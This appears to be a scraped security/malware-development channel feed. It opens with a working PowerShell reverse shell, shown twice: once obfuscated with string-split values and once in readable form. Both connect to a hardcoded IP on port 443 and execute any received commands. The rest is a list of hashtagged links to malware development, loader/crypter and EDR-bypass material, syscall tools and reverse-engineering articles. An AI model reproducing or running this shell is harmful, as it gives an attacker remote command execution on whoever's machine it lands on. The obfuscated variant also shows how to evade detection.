${1}='62'+'.113'+'.66'+'.7';${2}=4*100+43;${3}='Ne'+'t.'+'Soc'+'ket'+'s.'+'Tcp'+'Cli'+'ent';${4}=new-object ${3}(${1},${2});${5}=${4}.GetStream();[byte[]]${6}=0..(8*1024-1)|%{0};while((${7}=${5}.Read(${6},0,${6}.Length)) -ne 0){${8}=[System.Text.Encoding]::ASCII.GetString(${6},0,${7});${9}=([System.Management.Automation.PowerShell]::Create()).AddScript(${8}).Invoke()|Out-String 2>&1|out-string;${10}=[System.Text.Encoding]::ASCII.GetBytes(${9});${5}.Write(${10},0,${10}.Length);${5}.Flush()};${4}.Close()

$ip = "62.113.66.7"
$port = 443

$client = New-Object Net.Sockets.TcpClient($ip, $port)
$stream = $client.GetStream()

[byte[]]$buffer = 0..8191 | ForEach-Object { 0 }

while (($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
    $command = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $bytesRead)
    $result = ([System.Management.Automation.PowerShell]::Create()).AddScript($command).Invoke() | Out-String
    $bytes = [System.Text.Encoding]::ASCII.GetBytes($result)
    $stream.Write($bytes, 0, $bytes.Length)
    $stream.Flush()
}

$client.Close()

@ZwLowLevel
https://github.com/codedefender-io/windows

#malware_development #maldev #windows_internals

@ZwLowLevel
https://ceald.cc/posts/malware101/

#wasm #web_assembly #reverse_engineering #browser_exploitation
@ZwLowLevel

#loader #crypter #edr_bypass #malware #ppl

@ZwLowLevel
https://www.elastic.co/security-labs/roningloader

#xbox360 #os_internals #debugging #low_level
@ZwLowLevel
https://randomascii.wordpress.com/2018/01/07/finding-a-cpu-design-bug-in-the-xbox-360/

#macos #ios #reverse_engineering #reversing

@ZwLowLevel
https://hexai.re/blog/reversing-swift-like-a-pro

#vbs #windows_internals #offensive_tools
@ZwLowLevel

#syscall #windows_internals #ntapi

@ZwLowLevel
https://github.com/wufhex/Syscaller

#amr64 #os_internals #raspberry

@ZwLowLevel
https://ohyaan.github.io/assembly/introduction_to_arm64_assembly_on_raspberry_pi/

#android #framework
@ZwLowLevel
https://github.com/AlbatrossHook/AlbatrossServer